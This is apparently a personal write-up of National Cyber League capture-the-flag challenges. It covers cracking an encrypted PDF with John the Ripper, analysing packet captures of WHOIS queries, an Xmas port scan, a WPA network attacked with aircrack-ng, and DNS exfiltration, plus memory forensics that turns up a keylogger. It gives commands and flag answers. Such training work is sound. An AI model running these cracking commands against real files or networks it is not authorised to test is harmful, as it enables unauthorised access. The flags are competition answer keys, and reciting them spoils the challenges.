  4. 6f3f433bb188cb2c14272d418137f8d6 (25 points)

    Answer: ``

  5. d2d99b5a9bd49ac5e718c51b75e81972 (35 points)

    Answer: ``

PDF (Medium)

We have captured an encrypted pdf from a hacker's FTP server. Decrypt it and find out what you can.

  1. What is the password used to encrypt the pdf? (25 pts)

    We can do this with John the Ripper:

    pdf2john ./encrypted.pdf > pdf.hash
    john pdf.hash --wordlist=/usr/share/wordlists/rockyou.txt
    

    It took forever, but eventually we got the answer.

    Answer: keanureeves2008

  2. What is the flag in the PDF? (25 pts)

    Answer: SKY-KANU-5902

Network Traffic Analysis

Information (Easy)

What can you tell us about this network capture?

If CloudShark is not loading for you, you can download the file from the Download Manager on the top right corner and view the pcap locally.

  1. What protocol is being used to request information about host names? (10 points)

    Answer: WHOIS

  2. What is the address that is making these requests? (20 points)

    Answer: 10.100.20.203

  3. How many packets were in the largest IPv4 conversation? (40 points)

    Answer: 50

  4. What is the registrant email from the answer to the second domain? (30 points)

    I thought the answer was msnhst@microsoft.com for the second domain, microsoft.com, but that wasn't the case. Scrolling farther down the page showed me the real answer.

    Answer: admin@domains.microsoft

Hidden (Medium)

We have identified a wireless network being operated by criminals. Retrieve their credentials so we can continue with our investigation.

  1. What channel was the vulnerable wireless network operating on? (10 points)

    Packet 49 shows this.

    Answer: 5

  2. What is the SSID of the vulnerable wireless network? (10 points)

    Packet 812 stuck out like a sore thumb here, making the answer blindingly obvious.

    Answer: Top Secret Wifi

  3. What is the password of the vulnerable wifi network? (50 points)

    We can narrow down the results with wlan.bssid == c0:4a:00:80:76:e4, which brings us to 579 packets out of the original 903.

    Ties back into the methodologies discussed in Wireless. Unfortunately Aircrack did not work for this one:

    $ aircrack-ng ./Hidden.cap -w /usr/share/wordlists/rockyou.txt
    Reading packets, please wait...
    Opening ./Hidden.cap
    Read 903 packets.
    
      #  BSSID              ESSID                     Encryption
    
      1  C0:4A:00:80:76:E4  Top Secret Wifi           WPA (0 handshake)
    
    Choosing first network as target.
    
    Reading packets, please wait...
    Opening ./Hidden.cap
    Read 903 packets.
    
    1 potential targets
    
    Packets contained no EAPOL data; unable to process this AP.
    

Quitting aircrack-ng...


But we had better luck with `wifite`...

Apparently [this guide](https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2) is a great resource for this style of challenge, props to `zxlin#1898` for the tip.

*Answer*: `` (after-hours)

#### Scan (Medium)
One of our hosts was recently scanned. What can you tell us about the techniques that were used?

[Scan](./assets/ncl/scan.pcapng)

1. What type of port scan is being performed? (10 points)

The answer is not `TCP SYN` or `TCP`. Final answer source was from [here](https://www.tripwire.com/state-of-security/common-basic-port-scanning-techniques).

*Answer*: `X-MAS`

2. What is the IP of the host being scanned? (15 points)

This can be seen in packets 69-89.

*Answer*: `192.168.1.101`

3. What is the IP of the host that is performing the scanning? (15 points)

*Answer*: `192.168.1.100`

4. What is the number of the open port? (60 points)

The answer is not `80`, even though that clearly seems to be the only port that worked. It is also not `33873`.

We were able to find it with `Statistics ~> Conversations ~> TCP > sort by Packets B -> A`.

*Answer*: `8990`

#### Ponder (Hard)
Can you figure out what data was exfiltrated?

1. What protocol is being used to exfiltrate data? (10 points)

*Answer*: `DNS`

2. What is the flag? (30 points)

This is similar to [[hackthebox.HackTheBoo2022.TrickOrBreach]], so we can use the following commands to get the exfiltrated data:

```shell
tshark -r ./ponder.pcapng -T fields -e dns.qry.name -Y 'dns.flags.response == 0' > raw_exfil.txt
egrep -o ".+.ponder.cityinthe.cloud" ./raw_exfil.txt | cut -d. -f1 > exfil.txt
xxd -r -p < exfil.txt > data

Uploading the data to CyberChef and using the From Base64 recipe tells us that the data is actually a PKZIP archive file. Whenever downloaded to the disk, however, the file fails to open. The output varied slightly when unchecking the "Remove non-alphabet characters" box, but unfortunately the new archive also had difficulties being opened.

Using that same train of thought, I decided to remove all the newline characters, and aha! The text was revealed.

Answer: SKY-DNSX-8452

  1. What is the md5 of the extracted file? (60 points)

    Using the "MD5" recipe on the text on CyberChef handled this.

    Answer: 278b13a6ccf69f05a79bba1ecd576446

Survey

Answer: SKY-CNDT-4961

2024

Team

Forensics

Dump

We believe our employee's machine was compromised. Can you find what happened?

  1. What kind of malicious program was installed and run? (25 points)

    The first step is always running pslist to see what processes were running:

    $ sudo python2 vol.py -f /home/aaron/Documents/CTFs/NCL/2024_Fall_Team/Forensics/Dump/dump.mem \
    --profile=Linuxncl_2024_fallx64 \
    linux_pslist > /home/aaron/Documents/CTFs/NCL/2024_Fall_Team/Forensics/Dump/pslist.log
    

    xxx

    Then recover all the files and look in /tmp to see what was run:

    $ sudo python2 vol.py -f /home/aaron/Documents/CTFs/NCL/2024_Fall_Team/Forensics/Dump/dump.mem \
    --profile=Linuxncl_2024_fallx64 \
    linux_recover_filesystem --dump-dir=/home/aaron/Documents/CTFs/NCL/2024_Fall_Team/Forensics/Dump/recovered_files/
    

    Answer: Keylogger

  2. What site was visited by our employee? (25 points)

    Answer: supersecuresite.org

  3. What is the username that was entered? (25 points)

    Answer: ``

  4. What is the password that was entered? (25 points)

    Answer: ``


Children
  1. 2023